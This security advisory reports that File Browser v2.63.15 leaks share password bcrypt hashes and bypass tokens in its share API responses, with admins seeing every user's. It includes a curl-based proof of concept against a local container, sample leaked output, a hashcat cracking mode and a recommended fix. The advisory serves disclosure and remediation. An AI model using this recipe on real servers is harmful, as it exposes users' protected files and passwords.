Summary

When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt password_hash and the secret token of the share. The Link storage struct is serialized directly with json.Marshal and tags password_hash and token for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via GET /api/shares receives the password hash and bypass token for every user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.

Details

1. The Link struct serializes both secrets to JSON (share/share.go:10-19)

type Link struct {
    Hash         string `json:"hash" storm:"id,index"`
    Path         string `json:"path" storm:"index"`
    UserID       uint   `json:"userID"`
    Expire       int64  `json:"expire"`
    PasswordHash string `json:"password_hash,omitempty"`   // line 15, bcrypt hash exposed
    // Token is only set when PasswordHash is set; it bypasses the password.
    Token        string `json:"token,omitempty"`            // line 19, bypass token exposed
}

omitempty means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.

2. The share handlers return the full struct through unfiltered json.Marshal

sharePostHandler returns the created Link with renderJSON(w, r, s) (http/share.go:179); shareListHandler and shareGetsHandler return shares the same way (http/share.go:55, http/share.go:76). renderJSON performs an unfiltered json.Marshal(data) (http/utils.go:16), so every tagged field, including password_hash and token, reaches the client.

3. Administrators receive every user's secrets (http/share.go:36)

s, err = d.store.Share.All()   // admin path: returns ALL users' shares
// ...
return renderJSON(w, r, s)     // including each share's password_hash and token

An admin calling GET /api/shares receives the bcrypt hash and bypass token for all shares across all users.

PoC

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: read the bcrypt hash and bypass token from the share API:

#1. Seed a file in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv/user1
echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090

#2. Log in as admin
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")

#3. Create a password-protected share
curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \
     -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'

#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)
curl -s "$B/api/shares" -H "X-Auth: $T"

The returned bcrypt hash cracks offline (hashcat -m 3200) to recover the share password, and the token opens the protected share directly without the password.

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

Both the POST /api/share/... response and the GET /api/shares response return HTTP 200 with a body that includes the full bcrypt password_hash and the 128-character bypass token:

POST /api/share/user1/readme.txt   -> 200
GET  /api/shares                   -> 200
{
  "hash": "yy9159Cs",
  "path": "/user1/readme.txt",
  "userID": 1,
  "expire": 1781758642,
  "password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla",
  "token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."
}

The hash cracks offline to the known password (bcrypt.checkpw(b"ShareSecret123!", hash) == True, hashcat -m 3200), and the token grants direct access to the password-protected share without knowing the password.

Impact

• Offline password cracking: the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.
• Password-bypass token leak: the token is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly.
• Admin sees everyone's secrets: GET /api/shares as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants.
• Credential reuse risk: users who reuse an account or service password as a share password expose that password to offline recovery.

Recommended Fix

Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:

// share/share.go
type Link struct {
    Hash         string `json:"hash" storm:"id,index"`
    Path         string `json:"path" storm:"index"`
    UserID       uint   `json:"userID"`
    Expire       int64  `json:"expire"`
    PasswordHash string `json:"-" storm:"index"`   // never serialize
    Token        string `json:"-"`                 // never serialize in list responses
}

PasswordHash and Token are only needed server-side (for bcrypt.CompareHashAndPassword and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived HasPassword bool instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.

References

• GHSA-833g-cqhp-h72j